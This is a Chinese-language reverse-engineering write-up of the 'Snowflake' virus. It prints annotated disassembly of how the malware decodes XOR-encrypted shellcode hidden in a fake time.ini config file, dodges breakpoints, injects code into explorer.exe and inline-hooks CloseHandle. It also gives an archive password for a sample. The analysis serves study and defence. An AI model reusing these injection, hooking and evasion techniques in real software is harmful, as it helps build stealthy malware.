解压密码:virus
前言:
雪花病毒已经飘过有一阵子了,各大杀软已经能完全查杀,但是其中有些想法不错,这里拿出来和各位朋友分享.
病毒特征
1.主程序和恶意代码分离,恶意代码以shellcode的形式加密在单独的配置文件中.
2.只能起一次危害作用.程序运行一次后恶意代码被覆盖.
内容摘要
本次分析的主要关注
病毒向explorer.exe注入恶意代码,并且inlinehook CloseHandle 使恶意代码获得执行机会
分析开始
1.整个病毒的整体流程很简单清晰:
加载time.ini,----->解码time.ini----->改写time.ini的内容----->执行time.ini中的恶意代码
流程图如下所示:
下面主要描述 time.ini的解码,以及time.ini恶意代码执行(shellcode)的过程:
1.1 time.ini解码
解码的过程就是加密数据和key1,key2做两次xor, Key2存放在time.ini+0偏移处,也就是开始的几个字符"0x00505372", key1初始为0在每次解码的时候和解码结果做加法变换
具体流程如下图所示:
2 00401926 > /8B4D E8 mov ecx, dword ptr [ebp-18]
3 00401929 . |83C1 04 add ecx, 4
4 0040192C . |894D E8 mov dword ptr [ebp-18], ecx
5 0040192F > |8B55 E8 mov edx, dword ptr [ebp-18]
6 00401932 . |3B55 E4 cmp edx, dword ptr [ebp-1C]
7 00401935 . |7D 33 jge short 0040196A ; 解密是否完成
8 00401937 . |8B45 08 mov eax, dword ptr [ebp+8]
9 0040193A . |0345 E8 add eax, dword ptr [ebp-18]
10 0040193D . |8B08 mov ecx, dword ptr [eax]
11 0040193F . |894D EC mov dword ptr [ebp-14], ecx ; 获取加密数据
12 00401942 . |8B55 EC mov edx, dword ptr [ebp-14]
13 00401945 . |3355 F0 xor edx, dword ptr [ebp-10] ; 用加密的数据和key1做xor
14 00401948 . |8955 EC mov dword ptr [ebp-14], edx
15 0040194B . |8B45 EC mov eax, dword ptr [ebp-14]
16 0040194E . |3345 F8 xor eax, dword ptr [ebp-8] ; 用第一步的结果和key2做xor,key2来自time.ini+0处
17 00401951 . |8945 EC mov dword ptr [ebp-14], eax
18 00401954 . |8B4D F0 mov ecx, dword ptr [ebp-10]
19 00401957 . |034D EC add ecx, dword ptr [ebp-14] ; 变换key1,用key1和解密数据做add
20 0040195A . |894D F0 mov dword ptr [ebp-10], ecx
21 0040195D . |8B55 08 mov edx, dword ptr [ebp+8]
22 00401960 . |0355 E8 add edx, dword ptr [ebp-18]
23 00401963 . |8B45 EC mov eax, dword ptr [ebp-14]
24 00401966 . |8902 mov dword ptr [edx], eax ; 保存解密后的数据
25 00401968 .^\EB BC jmp short 00401926
经过上面的解码过程time.ini中的数据已经变成可执行的shellcode.
1.2 time.ini恶意代码(shellcode)执行
1.2.1 shellcoede执行的起始位
shellcoede执行的起始位置由 time.ini+0x8处的偏移来计算,计算方法是time.ini+0xc在内存中的位置为基质加上time.ini+0x8的数据为偏移
具体代码以及简单注释如下所示:
2 0040150D |. 8B11 mov edx, dword ptr [ecx]
3 0040150F |. 8955 FC mov dword ptr [ebp-4], edx ; offset 获取shellcode开始执行的偏移 在time.ini+0x8取
4 00401512 |. 8B45 08 mov eax, dword ptr [ebp+8]
5 00401515 |. 83C0 04 add eax, 4 ; baseaddress 获取time.ini+c偏移在内存中的位置
6 00401518 |. 8945 F8 mov dword ptr [ebp-8], eax
7 0040151B |. 8B4D F8 mov ecx, dword ptr [ebp-8]
8 0040151E |. 034D FC add ecx, dword ptr [ebp-4] ; shellOEP = baseaddress+offset 通过计算或得shellcode开始执行的位置
9 00401521 |. 0FBE11 movsx edx, byte ptr [ecx]
10 00401524 |. 83FA 55 cmp edx, 55 ; 通过特征码验证shellOEP是否正确
11 00401527 |. 0F85 94000000 jnz 004015C1
按照上面的偏移进入shellcode后的整体流程如下所示:
1.2.2.1 获取kernel32基质:
获取kernel32基质的方式用的是fs:0论坛前辈已经详细讲解过这里不再重复,
1.2.2.2 获取API:
病毒在获取API的时候对断点进行了检查并且对地址做了简单的处理,就是把函数地址-1这样在动态分析的时候看不到函数名字很不方便.没准还能逃避一些主防手段
还原的方式也很简单只要nop掉00C5036F 00C50375 两处的代码即可.
具体代码如下
;断点检测和地址简单处理
2 00C5036F 74 7F je short 00C503F0
3 00C50371 48 dec eax ; 获取的函数地质-1
4 00C50372 8038 90 cmp byte ptr [eax], 90 ; 当前指向的位置是否为nop,如果不是还原地质
5 00C50375 74 01 je short 00C50378
6 00C50377 40 inc eax
1.2.2.3 遍历进程:
遍历进程寻找explorer.exe的代码很普通不多说了,
1.2.2.4 恶意代码注入explorer.exe 和 对 CloseHandle的inlinehook
找到explorer.exe后通过OpenProcess打开之,然后读取explorer.exe中CloseHandle函数的前五字节并保存,这里explorer.exe中CloseHandle函数地址直接用的自身CloseHandle的地址
因为大部分情况下不同进程kernel32.dll的基质是一样的.这个假设在这里也成立.
有了CloseHandle的位置以后就可以对 explorer.exe 的函数进行Hook了,病毒在进行Hook之前先将hook的目的函数写入了explorer.exe 并计算出了Hook点的代码
2 00C5C64B 85C0 test eax, eax
3 00C5C64D 0F84 F3000000 je 00C5C746
4 00C5C653 8B45 D6 mov eax, dword ptr [ebp-2A]
5 00C5C656 3D 8BFF558B cmp eax, 8B55FF8B ; 用特征值比对是否读取正确
6 00C5C65B 0F85 DE000000 jnz 00C5C73F
7 00C5C661 6A 40 push 40
8 00C5C663 68 00100000 push 1000
9 00C5C668 68 14C80000 push 0C814
10 00C5C66D 6A 00 push 0
11 00C5C66F FF75 F8 push dword ptr [ebp-8]
12 00C5C672 E8 04000000 call 00C5C67B ; 读取成功在explorer.exe中申请一块内存
13 00C5C677 E7 BD out 0BD, eax
14 00C5C679 0000 add byte ptr [eax], al
15 00C5C67B 58 pop eax
16 00C5C67C 2B00 sub eax, dword ptr [eax]
17 00C5C67E FF10 call dword ptr [eax]
18 00C5C680 85C0 test eax, eax
19 00C5C682 0F84 BE000000 je 00C5C746
20 00C5C688 8945 F4 mov dword ptr [ebp-C], eax ; 保存内存地址
21 00C5C68B 8D45 D6 lea eax, dword ptr [ebp-2A]
22 00C5C68E C600 E9 mov byte ptr [eax], 0E9
23 00C5C691 B9 F4C40000 mov ecx, 0C4F4 ; 注入到explorer.exe部分shellcode开始执行地址偏移是个营编码值
24 00C5C696 034D F4 add ecx, dword ptr [ebp-C] ; 计算注入到explorer.exe后ShellCode开始执行的 内存地址
25 00C5C699 2B4D E4 sub ecx, dword ptr [ebp-1C]
26 00C5C69C 83E9 05 sub ecx, 5 ; 计算JMP指令的值(计算Hook点的代码)
27 00C5C69F 8948 01 mov dword ptr [eax+1], ecx
28 00C5C6A2 C745 EC 14C80000 mov dword ptr [ebp-14], 0C814
29 00C5C6A9 C745 F0 00000000 mov dword ptr [ebp-10], 0
30 00C5C6B0 C745 E8 00000000 mov dword ptr [ebp-18], 0
31 00C5C6B7 837D EC 00 cmp dword ptr [ebp-14], 0
32 00C5C6BB 74 42 je short 00C5C6FF
33 00C5C6BD 8D45 F0 lea eax, dword ptr [ebp-10]
34 00C5C6C0 50 push eax
35 00C5C6C1 FF75 EC push dword ptr [ebp-14]
36 00C5C6C4 E8 04000000 call 00C5C6CD
37 00C5C6C9 BD C6000058 mov ebp, 580000C6
38 00C5C6CE 2B00 sub eax, dword ptr [eax]
39 00C5C6D0 0345 E8 add eax, dword ptr [ebp-18]
40 00C5C6D3 50 push eax
41 00C5C6D4 8B45 F4 mov eax, dword ptr [ebp-C]
42 00C5C6D7 0345 E8 add eax, dword ptr [ebp-18]
43 00C5C6DA 50 push eax
44 00C5C6DB FF75 F8 push dword ptr [ebp-8]
45 00C5C6DE E8 04000000 call 00C5C6E7 ; 将timt.ini+0xc开始解码后的数据写入explorer.exe进程地址空间
将Shellcode写入目标进程后 病毒 Hook的目标进程 的kernel32.CloseHandle
具体代码如下:
2 00C5C71B 85C0 test eax, eax
3 00C5C71D 74 27 je short 00C5C746
4 00C5C71F 6A 00 push 0
5 00C5C721 6A 05 push 5
6 00C5C723 8D45 D6 lea eax, dword ptr [ebp-2A]
7 00C5C726 50 push eax
8 00C5C727 FF75 E4 push dword ptr [ebp-1C]
9 00C5C72A FF75 F8 push dword ptr [ebp-8]
10 00C5C72D E8 04000000 call 00C5C736 ; 用上一步骤计算好的JMP指令替换CloseHandle的前5字节
经过上面ShellCode代码注入和对CloseHandle的inlineHook病毒代码已经可以在explorer.exe执行过程中或得执行的权利 ,
经过inlinehook和恶意代码注入两个步骤explorer.exe地址空间内发生了如下图所示的变化hook前
hook后
如果explorer.exe调用CloseHandle这个API的话如下所示的恶意代码将获得执行的机会 貌似是个下载者,这里不做为重点分析
被写入的恶意shellcode